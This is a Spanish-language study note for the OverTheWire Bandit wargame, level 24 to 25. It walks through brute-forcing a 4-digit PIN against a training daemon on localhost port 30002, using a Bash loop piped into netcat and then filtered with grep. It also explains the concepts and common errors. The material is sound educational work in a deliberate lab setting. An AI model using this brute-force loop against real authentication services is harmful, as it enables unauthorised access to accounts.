Bandit Nivel 24 a 25
Pagina oficial del nivel: https://overthewire.org/wargames/bandit/bandit25.html
Este es un nivel de fuerza bruta controlada: tienes que encontrar un PIN de 4 digitos entre 0000 y 9999, combinado con una contraseña que ya conoces, para que un programa en la red te devuelva la clave del siguiente nivel. Aprenderás a automatizar ese proceso con un solo bucle en Bash.
Objetivo
Conectarte al puerto 30002 de localhost y enviarle la contraseña de bandit24 seguida de un PIN de 4 digitos. El demonio acepta la combinacion correcta y responde con la contraseña de bandit25. Como no sabes el PIN, pruebas los 10 000 posibles (0000–9999) de forma automatica.
Que aprendes
Comandos nuevos / conceptos clave
| Elemento | Que es |
|---|---|
for i in {inicio..fin} | Bucle for en Bash que itera sobre un rango numerico |
{0000..9999} | Rango con ceros a la izquierda (Bash los conserva desde Bash 4) |
echo "texto" | Imprime una linea de texto en la salida estandar |
| (pipe) | Conecta la salida de un comando con la entrada del siguiente |
nc localhost 30002 | Abre una conexion TCP al puerto 30002 en la misma maquina |
grep | Filtra lineas de texto que coincidan con un patron |
Conceptos de seguridad
- Fuerza bruta: probar todas las combinaciones posibles hasta encontrar la correcta. Es el ataque mas simple y el mas costoso en tiempo, pero infalible si el espacio de busqueda es pequeno (aqui solo 10 000 opciones).
- PIN de 4 digitos: 10^4 = 10 000 combinaciones. Un PIN real con bloqueo tras N intentos haria esto imposible; aqui el demonio lo permite a proposito por ser un juego didactico.
- Demonio de red (
daemon): programa que corre en segundo plano y escucha conexiones en un puerto.
Paso a paso
1. Conectarse al nivel 24
ssh [email protected] -p 2220Introduce la contraseña de bandit24 cuando se pida. Veras el banner de OverTheWire y el prompt de bandit24.
2. Verificar que el demonio esta escuchando
nc localhost 30002Lo que veras:
I am the pincode checker for user bandit25. Please enter the password for user bandit24 and the secret pincode on a single line, separated by a space.
Pulsa Ctrl+C para salir. Esto confirma que el formato esperado es:
<password_bandit24> <PIN>
3. Construir el bucle de fuerza bruta
El truco es generar las 10 000 lineas de una vez y enviarlas todas al mismo nc mediante un pipe. De ese modo se abre una unica conexion y se mandan todos los intentos en bloque.
for i in {0000..9999}; do echo "<pass_bandit24> $i"; done | nc localhost 30002Nota: sustituye
<pass_bandit24>por la contraseña real que obtuviste en el nivel 23. El placeholder aqui representa esa cadena de ~32 caracteres que nunca se escribe en estos apuntes.
4. Filtrar la salida para ver solo la respuesta util
El demonio devuelve una linea por cada intento incorrecto del estilo Wrong! Please enter... y una linea diferente cuando acierta. Para no leer 10 000 lineas, filtra con grep:
for i in {0000..9999}; do echo "<pass_bandit24> $i"; done | nc localhost 30002 | grep -v "Wrong"Lo que veras al cabo de unos segundos (puede tardar entre 30 s y 2 min):
I am the pincode checker for user bandit25. Please enter the password for user bandit24 and the secret pincode on a single line, separated by a space.
Correct!
The password of user bandit25 is <cadena_de_~32_caracteres>
La linea The password of user bandit25 is <cadena_de_~32_caracteres> contiene la contraseña del siguiente nivel. Copiala.
5. (Opcional) Variante guardando primero en un archivo
Si prefieres ver el progreso o la maquina va lenta, puedes generar el wordlist primero:
for i in {0000..9999}; do echo "<pass_bandit24> $i"; done > /tmp/intentos_bandit25.txt
wc -l /tmp/intentos_bandit25.txt # debe mostrar 10000
nc localhost 30002 < /tmp/intentos_bandit25.txt | grep -v "Wrong"Esto es equivalente pero separa la generacion de la transmision.
Por que funciona
El pipe como canal de datos
[bucle for] ---stdout---> [pipe] ---stdin---> [nc localhost 30002]
El bucle for escribe 10 000 lineas en su salida estandar. El pipe redirige esa salida como entrada estandar de nc. nc (netcat) la reenvía byte a byte al demonio en el puerto 30002, igual que si las hubieras tecleado a mano.
Por que {0000..9999} conserva los ceros
Bash expande {0000..9999} generando cadenas con ceros a la izquierda hasta que todas tengan la misma longitud que el extremo mayor. El resultado es: 0000 0001 0002 ... 9999. Esto es necesario porque el demonio espera exactamente 4 digitos.
Por que una sola conexion y no 10 000
Si abrieras nc dentro del bucle (un proceso por iteracion) tendrias latencia de red por cada intento y podrian bloquearte. Al hacerlo fuera del bucle, la conexion TCP se abre una vez y todos los datos fluyen por ella de forma continua.
Errores comunes
| Error | Causa probable | Solucion |
|---|---|---|
| El bucle termina pero no ves ninguna linea con la pass | grep -v "Wrong" elimino tambien esa linea si tiene otro texto | Prueba `grep -v “Wrong” |
bash: {0000..9999}: no funciona | Shell antigua o sh en vez de bash | Asegurate de estar en bash con echo $SHELL |
| La conexion se corta antes de acabar | Timeout del servidor | Reintenta; la maquina de OverTheWire a veces tiene carga; el nivel esta disenado para esto |
nc: command not found | nc no instalado (raro en bandit) | Prueba ncat o socat TCP:localhost:30002 |
Ves miles de lineas Wrong! sin parar | Olvidaste el grep -v "Wrong" | Pulsa Ctrl+C y relanza con el filtro |
Pasar al siguiente nivel
Una vez que tienes la contraseña de bandit25, sal de la sesion actual:
exitY conectate al nivel 25:
ssh [email protected] -p 2220Introduce <cadena_de_~32_caracteres> (la contraseña real que obtuviste) cuando se pida.
Conexiones
- 00_README — indice del wargame y como conectarse
- MOC_Ciberseguridad — mapa de contenidos de ciberseguridad
- — si existe nota sobre scripting bash
- — herramienta nc/netcat en detalle